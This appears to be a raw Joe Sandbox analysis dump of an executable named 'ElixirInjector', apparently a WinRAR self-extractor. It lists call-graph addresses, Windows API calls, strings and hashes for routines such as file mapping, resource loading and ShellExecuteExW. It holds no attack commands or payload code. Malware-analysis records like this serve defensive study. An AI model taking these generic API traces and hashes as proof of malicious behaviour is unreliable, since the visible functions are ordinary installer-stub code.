25138->25140 25140->25087 25141 f3635d 25142 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25141->25142 25144 f36369 25142->25144 25144->25087 25145->25136 25164 f36230 5 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 25145->25164 25147 f19bdc 25146->25147 25149 f19be3 25146->25149 25147->25096 25149->25147 25150 f19785 GetStdHandle ReadFile GetLastError GetLastError GetFileType 25149->25150 25165 f16d1a 77 API calls 25149->25165 25150->25149 25151->25096 25152->25093 25153->25116 25154->25116 25155->25116 25156->25116 25157->25116 25158->25116 25159->25103 25160->25105 25161->25107 25162->25137 25163->25141 25164->25145 25165->25149 25167 f37ce1 _abort 25166->25167 25168 f37cfa 25167->25168 25169 f37ce8 25167->25169 25190 f3ac31 EnterCriticalSection 25168->25190 25202 f37e2f GetModuleHandleW 25169->25202 25172 f37d01 25178 f37d76 25172->25178 25188 f37d9f 25172->25188 25211 f387e0 20 API calls _abort 25172->25211 25173 f37ced 25173->25168 25203 f37e73 GetModuleHandleExW 25173->25203 25179 f37d8e 25178->25179 25183 f38a91 _abort 5 API calls 25178->25183 25184 f38a91 _abort 5 API calls 25179->25184 25180 f37de8 25212 f42390 5 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 25180->25212 25181 f37dbc 25194 f37dee 25181->25194 25183->25179 25184->25188 25191 f37ddf 25188->25191 25190->25172 25213 f3ac81 LeaveCriticalSection 25191->25213 25193 f37db8 25193->25180 25193->25181 25214 f3b076 25194->25214 25197 f37e1c 25200 f37e73 _abort 8 API calls 25197->25200 25198 f37dfc GetPEB 25198->25197 25199 f37e0c GetCurrentProcess TerminateProcess 25198->25199 25199->25197 25201 f37e24 ExitProcess 25200->25201 25202->25173 25204 f37ec0 25203->25204 25205 f37e9d GetProcAddress 25203->25205 25206 f37ec6 FreeLibrary 25204->25206 25207 f37ecf 25204->25207 25208 f37eb2 25205->25208 25206->25207 25209 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25207->25209 25208->25204 25210 f37cf9 25209->25210 25210->25168 25211->25178 25213->25193 25215 f3b091 25214->25215 25216 f3b09b 25214->25216 25218 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25215->25218 25217 f3ac98 _free 5 API calls 25216->25217 25217->25215 25219 f37df8 25218->25219 25219->25197 25219->25198 25412 f2b1b0 GetDlgItem EnableWindow ShowWindow SendMessageW 25414 f3b1b8 27 API calls 2 library calls 25453 f21bbd GetCPInfo IsDBCSLeadByte 25454 f2f3a0 27 API calls 25380 f3a4a0 71 API calls _free 25381 f2dca1 DialogBoxParamW 25437 f3a6a0 31 API calls 2 library calls 25382 f408a0 IsProcessorFeaturePresent 25415 f2eda7 48 API calls _unexpected 25455 f16faa 111 API calls 3 library calls 25417 f29580 6 API calls 25438 f2c793 102 API calls 4 library calls 25385 f2c793 97 API calls 4 library calls 25420 f2b18d 78 API calls 25386 f2a070 10 API calls 25439 f2b270 99 API calls 25458 f11f72 128 API calls __EH_prolog 25388 f11075 84 API calls 23522 f19a74 23525 f19a7e 23522->23525 23523 f19b9d SetFilePointer 23524 f19bb6 GetLastError 23523->23524 23528 f19ab1 23523->23528 23524->23528 23525->23523 23527 f19b79 23525->23527 23525->23528 23529 f1981a 23525->23529 23527->23523 23530 f19833 23529->23530 23535 f19e80 23530->23535 23532 f19865 23532->23527 23533 f19e80 79 API calls 23533->23532 23536 f19e92 23535->23536 23540 f19ea5 23535->23540 23538 f19837 23536->23538 23544 f16d5b 77 API calls 23536->23544 23538->23533 23539 f19eb8 SetFilePointer 23539->23538 23541 f19ed4 GetLastError 23539->23541 23540->23538 23540->23539 23541->23538 23542 f19ede 23541->23542 23542->23538 23545 f16d5b 77 API calls 23542->23545 23544->23540 23545->23538 23546 f19f7a 23547 f19f88 23546->23547 23548 f19f8f 23546->23548 23549 f19f9c GetStdHandle 23548->23549 23556 f19fab 23548->23556 23549->23556 23550 f1a003 WriteFile 23550->23556 23551 f19fd4 WriteFile 23552 f19fcf 23551->23552 23551->23556 23552->23551 23552->23556 23554 f1a095 23558 f16e98 77 API calls 23554->23558 23556->23547 23556->23550 23556->23551 23556->23552 23556->23554 23557 f16baa 78 API calls 23556->23557 23557->23556 23558->23547 25390 f2c793 107 API calls 4 library calls 25440 f38268 55 API calls _free 25459 f37f6e 52 API calls 2 library calls 25392 f2e455 14 API calls ___delayLoadHelper2@8 24698 f2cd58 24700 f2ce22 24698->24700 24705 f2cd7b 24698->24705 24699 f2b314 ExpandEnvironmentStringsW 24714 f2c793 _wcslen _wcsrchr 24699->24714 24700->24714 24726 f2d78f 24700->24726 24702 f2d40a 24704 f21fbb CompareStringW 24704->24705 24705->24700 24705->24704 24706 f2ca67 SetWindowTextW 24706->24714 24709 f33e3e 22 API calls 24709->24714 24711 f2c855 SetFileAttributesW 24712 f2c90f GetFileAttributesW 24711->24712 24724 f2c86f _abort _wcslen 24711->24724 24712->24714 24716 f2c921 DeleteFileW 24712->24716 24714->24699 24714->24702 24714->24706 24714->24709 24714->24711 24717 f2cc31 GetDlgItem SetWindowTextW SendMessageW 24714->24717 24720 f2cc71 SendMessageW 24714->24720 24725 f21fbb CompareStringW 24714->24725 24750 f2a64d GetCurrentDirectoryW 24714->24750 24752 f1a5d1 6 API calls 24714->24752 24753 f1a55a FindClose 24714->24753 24754 f2b48e 76 API calls 2 library calls 24714->24754 24716->24714 24718 f2c932 24716->24718 24717->24714 24719 f14092 _swprintf 51 API calls 24718->24719 24721 f2c952 GetFileAttributesW 24719->24721 24720->24714 24721->24718 24722 f2c967 MoveFileW 24721->24722 24722->24714 24723 f2c97f MoveFileExW 24722->24723 24723->24714 24724->24712 24724->24714 24751 f1b991 51 API calls 2 library calls 24724->24751 24725->24714 24727 f2d799 _abort _wcslen 24726->24727 24728 f2d9c0 24727->24728 24729 f2d8a5 24727->24729 24730 f2d9e7 24727->24730 24755 f21fbb CompareStringW 24727->24755 24728->24730 24733 f2d9de ShowWindow 24728->24733 24732 f1a231 3 API calls 24729->24732 24730->24714 24734 f2d8ba 24732->24734 24733->24730 24735 f2d8d9 ShellExecuteExW 24734->24735 24756 f1b6c4 GetFullPathNameW GetFullPathNameW GetCurrentDirectoryW 24734->24756 24735->24730 24742 f2d8ec 24735->24742 24737 f2d8d1 24737->24735 24738 f2d925 24757 f2dc3b 6 API calls 24738->24757 24739 f2d97b CloseHandle 24740 f2d994 24739->24740 24741 f2d989 24739->24741 24740->24728 24758 f21fbb CompareStringW 24741->24758 24742->24738 24742->24739 24744 f2d91b ShowWindow 24742->24744 24744->24738 24746 f2d93d 24746->24739 24747 f2d950 GetExitCodeProcess 24746->24747 24747->24739 24748 f2d963 24747->24748 24748->24739 24750->24714 24751->24724 24752->24714 24753->24714 24754->24714 24755->24729 24756->24737 24757->24746 24758->24740 25393 f2a440 GdipCloneImage GdipAlloc 25442 f33a40 5 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 25460 f41f40 CloseHandle 24774 f2e44b 24775 f2e3f4 24774->24775 24775->24774 24776 f2e85d ___delayLoadHelper2@8 14 API calls 24775->24776 24776->24775 25424 f2f530 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___security_init_cookie 25462 f2ff30 LocalFree 25223 f3bb30 25224 f3bb42 25223->25224 25225 f3bb39 25223->25225 25227 f3ba27 25225->25227 25228 f397e5 _abort 38 API calls 25227->25228 25229 f3ba34 25228->25229 25247 f3bb4e 25229->25247 25231 f3ba3c 25256 f3b7bb 25231->25256 25234 f3ba53 25234->25224 25235 f38e06 __vsnwprintf_l 21 API calls 25236 f3ba64 25235->25236 25242 f3ba96 25236->25242 25263 f3bbf0 25236->25263 25238 f38dcc _free 20 API calls 25238->25234 25240 f3ba91 25273 f391a8 20 API calls _free 25240->25273 25242->25238 25243 f3baae 25244 f3bada 25243->25244 25245 f38dcc _free 20 API calls 25243->25245 25244->25242 25274 f3b691 26 API calls 25244->25274 25245->25244 25248 f3bb5a ___scrt_is_nonwritable_in_current_image 25247->25248 25249 f397e5 _abort 38 API calls 25248->25249 25254 f3bb64 25249->25254 25251 f3bbe8 _abort 25251->25231 25254->25251 25255 f38dcc _free 20 API calls 25254->25255 25275 f38d24 38 API calls _abort 25254->25275 25276 f3ac31 EnterCriticalSection 25254->25276 25277 f3bbdf LeaveCriticalSection _abort 25254->25277 25255->25254 25257 f34636 __cftof 38 API calls 25256->25257 25258 f3b7cd 25257->25258 25259 f3b7ee 25258->25259 25260 f3b7dc GetOEMCP 25258->25260 25261 f3b7f3 GetACP 25259->25261 25262 f3b805 25259->25262 25260->25262 25261->25262 25262->25234 25262->25235 25264 f3b7bb 40 API calls 25263->25264 25265 f3bc0f 25264->25265 25268 f3bc60 IsValidCodePage 25265->25268 25270 f3bc16 25265->25270 25272 f3bc85 _abort 25265->25272 25266 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25267 f3ba89 25266->25267 25267->25240 25267->25243 25269 f3bc72 GetCPInfo 25268->25269 25268->25270 25269->25270 25269->25272 25270->25266 25278 f3b893 GetCPInfo 25272->25278 25273->25242 25274->25242 25276->25254 25277->25254 25279 f3b977 25278->25279 25281 f3b8cd 25278->25281 25283 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25279->25283 25288 f3c988 25281->25288 25285 f3ba23 25283->25285 25285->25270 25287 f3ab78 __vsnwprintf_l 43 API calls 25287->25279 25289 f34636 __cftof 38 API calls 25288->25289 25290 f3c9a8 MultiByteToWideChar 25289->25290 25292 f3c9e6 25290->25292 25299 f3ca7e 25290->25299 25295 f38e06 __vsnwprintf_l 21 API calls 25292->25295 25300 f3ca07 _abort __vsnwprintf_l 25292->25300 25293 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25296 f3b92e 25293->25296 25294 f3ca78 25307 f3abc3 20 API calls _free 25294->25307 25295->25300 25302 f3ab78 25296->25302 25298 f3ca4c MultiByteToWideChar 25298->25294 25301 f3ca68 GetStringTypeW 25298->25301 25299->25293 25300->25294 25300->25298 25301->25294 25303 f34636 __cftof 38 API calls 25302->25303 25304 f3ab8b 25303->25304 25308 f3a95b 25304->25308 25307->25299 25309 f3a976 __vsnwprintf_l 25308->25309 25310 f3a99c MultiByteToWideChar 25309->25310 25311 f3ab50 25310->25311 25312 f3a9c6 25310->25312 25313 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25311->25313 25315 f38e06 __vsnwprintf_l 21 API calls 25312->25315 25318 f3a9e7 __vsnwprintf_l 25312->25318 25314 f3ab63 25313->25314 25314->25287 25315->25318 25316 f3aa30 MultiByteToWideChar 25317 f3aa49 25316->25317 25330 f3aa9c 25316->25330 25335 f3af6c 25317->25335 25318->25316 25318->25330 25322 f3aa73 25325 f3af6c __vsnwprintf_l 11 API calls 25322->25325 25322->25330 25323 f3aaab 25324 f38e06 __vsnwprintf_l 21 API calls 25323->25324 25327 f3aacc __vsnwprintf_l 25323->25327 25324->25327 25325->25330 25326 f3ab41 25343 f3abc3 20 API calls _free 25326->25343 25327->25326 25328 f3af6c __vsnwprintf_l 11 API calls 25327->25328 25331 f3ab20 25328->25331 25344 f3abc3 20 API calls _free 25330->25344 25331->25326 25332 f3ab2f WideCharToMultiByte 25331->25332 25332->25326 25333 f3ab6f 25332->25333 25345 f3abc3 20 API calls _free 25333->25345 25336 f3ac98 _free 5 API calls 25335->25336 25337 f3af93 25336->25337 25340 f3af9c 25337->25340 25346 f3aff4 10 API calls 3 library calls 25337->25346 25339 f3afdc LCMapStringW 25339->25340 25341 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25340->25341 25342 f3aa60 25341->25342 25342->25322 25342->25323 25342->25330 25343->25330 25344->25311 25345->25330 25346->25339 25396 f3c030 GetProcessHeap 25397 f3f421 21 API calls __vsnwprintf_l 25443 f2c220 93 API calls _swprintf 25399 f11025 29 API calls 25465 f11710 86 API calls 25425 f2ad10 73 API calls 25402 f2a400 GdipDisposeImage GdipFree 25444 f2d600 70 API calls 25403 f36000 QueryPerformanceFrequency QueryPerformanceCounter 25428 f32900 6 API calls 4 library calls 25445 f3f200 51 API calls 25467 f3a700 21 API calls

                                                                                              Executed Functions

                                                                                              Function 00F2DF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195filesleeptimeCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                                • Part of subcall function 00F20863: GetModuleHandleW.KERNEL32(kernel32), ref: 00F2087C
                                                                                                • Part of subcall function 00F20863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00F2088E
                                                                                                • Part of subcall function 00F20863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00F208BF
                                                                                                • Part of subcall function 00F2A64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00F2A655
                                                                                                • Part of subcall function 00F2AC16: OleInitialize.OLE32(00000000), ref: 00F2AC2F
                                                                                                • Part of subcall function 00F2AC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00F2AC66
                                                                                                • Part of subcall function 00F2AC16: SHGetMalloc.SHELL32(00F58438), ref: 00F2AC70
                                                                                              • GetCommandLineW.KERNEL32 ref: 00F2DF5C
                                                                                              • OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00F2DF83
                                                                                              • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00F2DF94
                                                                                              • UnmapViewOfFile.KERNEL32(00000000), ref: 00F2DFCE
                                                                                                • Part of subcall function 00F2DBDE: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00F2DBF4
                                                                                                • Part of subcall function 00F2DBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00F2DC30
                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00F2DFD7
                                                                                              • GetModuleFileNameW.KERNEL32(00000000,00F6EC90,00000800), ref: 00F2DFF2
                                                                                              • SetEnvironmentVariableW.KERNEL32(sfxname,00F6EC90), ref: 00F2DFFE
                                                                                              • GetLocalTime.KERNEL32(?), ref: 00F2E009
                                                                                              • _swprintf.LIBCMT ref: 00F2E048
                                                                                              • SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00F2E05A
                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 00F2E061
                                                                                              • LoadIconW.USER32(00000000,00000064), ref: 00F2E078
                                                                                              • DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 00F2E0C9
                                                                                              • Sleep.KERNEL32(?), ref: 00F2E0F7
                                                                                              • DeleteObject.GDI32 ref: 00F2E130
                                                                                              • DeleteObject.GDI32(?), ref: 00F2E140
                                                                                              • CloseHandle.KERNEL32 ref: 00F2E183
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
                                                                                              • String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
                                                                                              • API String ID: 3049964643-277078469
                                                                                              • Opcode ID: 920973c41ba3542b6f9ddc6a1de9423e39790856883dc75c56cb5c45ef098e8c
                                                                                              • Instruction ID: 7a9f409ab5c39e72dc08499eed5ea51f2efa8e4c44834740f41c0df4a9341361
                                                                                              • Opcode Fuzzy Hash: 920973c41ba3542b6f9ddc6a1de9423e39790856883dc75c56cb5c45ef098e8c
                                                                                              • Instruction Fuzzy Hash: 61613775904368AFD320EB74FC49F6B3BACAB95714F000429FD05921A2DBB8D944F762
                                                                                              Function 00F2A6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100memorywindowCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 812 f2a6c2-f2a6df FindResourceW 813 f2a6e5-f2a6f6 SizeofResource 812->813 814 f2a7db 812->814 813->814 816 f2a6fc-f2a70b LoadResource 813->816 815 f2a7dd-f2a7e1 814->815 816->814 817 f2a711-f2a71c LockResource 816->817 817->814 818 f2a722-f2a737 GlobalAlloc 817->818 819 f2a7d3-f2a7d9 818->819 820 f2a73d-f2a746 GlobalLock 818->820 819->815 821 f2a7cc-f2a7cd GlobalFree 820->821 822 f2a74c-f2a76a call f30320 CreateStreamOnHGlobal 820->822 821->819 825 f2a7c5-f2a7c6 GlobalUnlock 822->825 826 f2a76c-f2a78e call f2a626 822->826 825->821 826->825 831 f2a790-f2a798 826->831 832 f2a7b3-f2a7c1 831->832 833 f2a79a-f2a7ae GdipCreateHBITMAPFromBitmap 831->833 832->825 833->832 834 f2a7b0 833->834 834->832
                                                                                              APIs
                                                                                              • FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00F2B73D,00000066), ref: 00F2A6D5
                                                                                              • SizeofResource.KERNEL32(00000000,?,?,?,00F2B73D,00000066), ref: 00F2A6EC
                                                                                              • LoadResource.KERNEL32(00000000,?,?,?,00F2B73D,00000066), ref: 00F2A703
                                                                                              • LockResource.KERNEL32(00000000,?,?,?,00F2B73D,00000066), ref: 00F2A712
                                                                                              • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00F2B73D,00000066), ref: 00F2A72D
                                                                                              • GlobalLock.KERNEL32(00000000), ref: 00F2A73E
                                                                                              • CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00F2A762
                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 00F2A7C6
                                                                                                • Part of subcall function 00F2A626: GdipAlloc.GDIPLUS(00000010), ref: 00F2A62C
                                                                                              • GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00F2A7A7
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 00F2A7CD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
                                                                                              • String ID: PNG
                                                                                              • API String ID: 211097158-364855578
                                                                                              • Opcode ID: 1bad30e987ebed4df3c6ba0918c636216fee368f1968bce43afa36ac4ec025ca
                                                                                              • Instruction ID: 0f65cfee39c9007ef0def934ea5587dc8169a26f208bfa127836427e9ad8e6d3
                                                                                              • Opcode Fuzzy Hash: 1bad30e987ebed4df3c6ba0918c636216fee368f1968bce43afa36ac4ec025ca
                                                                                              • Instruction Fuzzy Hash: E031C279A0071AAFD7109F61EC88D1B7FB9FF85760B000A19FD1592260EB31DD40FAA2
                                                                                              Function 00F1A69B Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 1025 f1a69b-f1a6bf call f2ec50 1028 f1a6c1-f1a6ce FindFirstFileW 1025->1028 1029 f1a727-f1a730 FindNextFileW 1025->1029 1030 f1a742-f1a7ff call f20602 call f1c310 call f215da * 3 1028->1030 1032 f1a6d0-f1a6e2 call f1bb03 1028->1032 1029->1030 1031 f1a732-f1a740 GetLastError 1029->1031 1036 f1a804-f1a811 1030->1036 1033 f1a719-f1a722 1031->1033 1040 f1a6e4-f1a6fc FindFirstFileW 1032->1040 1041 f1a6fe-f1a707 GetLastError 1032->1041 1033->1036 1040->1030 1040->1041 1043 f1a717 1041->1043 1044 f1a709-f1a70c 1041->1044 1043->1033 1044->1043 1046 f1a70e-f1a711 1044->1046 1046->1043 1048 f1a713-f1a715 1046->1048 1048->1033
                                                                                              APIs
                                                                                              • FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00F1A592,000000FF,?,?), ref: 00F1A6C4
                                                                                                • Part of subcall function 00F1BB03: _wcslen.LIBCMT ref: 00F1BB27
                                                                                              • FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00F1A592,000000FF,?,?), ref: 00F1A6F2
                                                                                              • GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00F1A592,000000FF,?,?), ref: 00F1A6FE
                                                                                              • FindNextFileW.KERNEL32(?,?,?,?,?,?,00F1A592,000000FF,?,?), ref: 00F1A728
                                                                                              • GetLastError.KERNEL32(?,?,?,?,00F1A592,000000FF,?,?), ref: 00F1A734
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileFind$ErrorFirstLast$Next_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 42610566-0
                                                                                              • Opcode ID: 8e11407fc2cf60cbc343c24b402c2d6a80f65fcedf9e0080f76b3aabd759a305
                                                                                              • Instruction ID: 1091f937565878fb499d7be0a2cd8c4fda80ba395906a7059aadfd206c5dddfd
                                                                                              • Opcode Fuzzy Hash: 8e11407fc2cf60cbc343c24b402c2d6a80f65fcedf9e0080f76b3aabd759a305
                                                                                              • Instruction Fuzzy Hash: 0E418F76901119ABCB25DF68CC84AEAF7B8FB48350F144296F959E3240D7346ED0EF90
                                                                                              Function 00F37DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetCurrentProcess.KERNEL32(?,?,00F37DC4,?,00F4C300,0000000C,00F37F1B,?,00000002,00000000), ref: 00F37E0F
                                                                                              • TerminateProcess.KERNEL32(00000000,?,00F37DC4,?,00F4C300,0000000C,00F37F1B,?,00000002,00000000), ref: 00F37E16
                                                                                              • ExitProcess.KERNEL32 ref: 00F37E28
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Process$CurrentExitTerminate
                                                                                              • String ID:
                                                                                              • API String ID: 1703294689-0
                                                                                              • Opcode ID: e52448aba5eef2d4e0e8077ec68de7fa77b0093cfbc056e7f98f69d3e7071683
                                                                                              • Instruction ID: d44e1621a29f68a6426a06398d18286fce4fcf51854fda221e403a18553d1e7a
                                                                                              • Opcode Fuzzy Hash: e52448aba5eef2d4e0e8077ec68de7fa77b0093cfbc056e7f98f69d3e7071683
                                                                                              • Instruction Fuzzy Hash: 0BE04675400248ABCF217F24DD0AA4A3FAAEF61361F004454FC098A132CB3ADE92EA80
                                                                                              Function 00F1848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: 5a3aed77598ddc663758067707affdd84063b9945f17b9ab5b5d47eb94d85bd7
                                                                                              • Instruction ID: e62bfccd57c4a0e03fa69946592710a1b83cf28c8a74509f8f0bd5eb87541a06
                                                                                              • Opcode Fuzzy Hash: 5a3aed77598ddc663758067707affdd84063b9945f17b9ab5b5d47eb94d85bd7
                                                                                              • Instruction Fuzzy Hash: F1826071D04285AEDF15CF60C991BF9BBB9BF05350F0841B9E8499B142CF355ACAEB60
                                                                                              Function 00F26CDC Relevance: .3, Instructions: 343COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: 93efbdc44b6d95d79f695a43c0c516b853b8e41913a9914b4511ca3d4a300224
                                                                                              • Instruction ID: 9fb835f09282ff5a25e0c65a0a7c6bdad72bca86b0a7d7d472023c4bee97fdc1
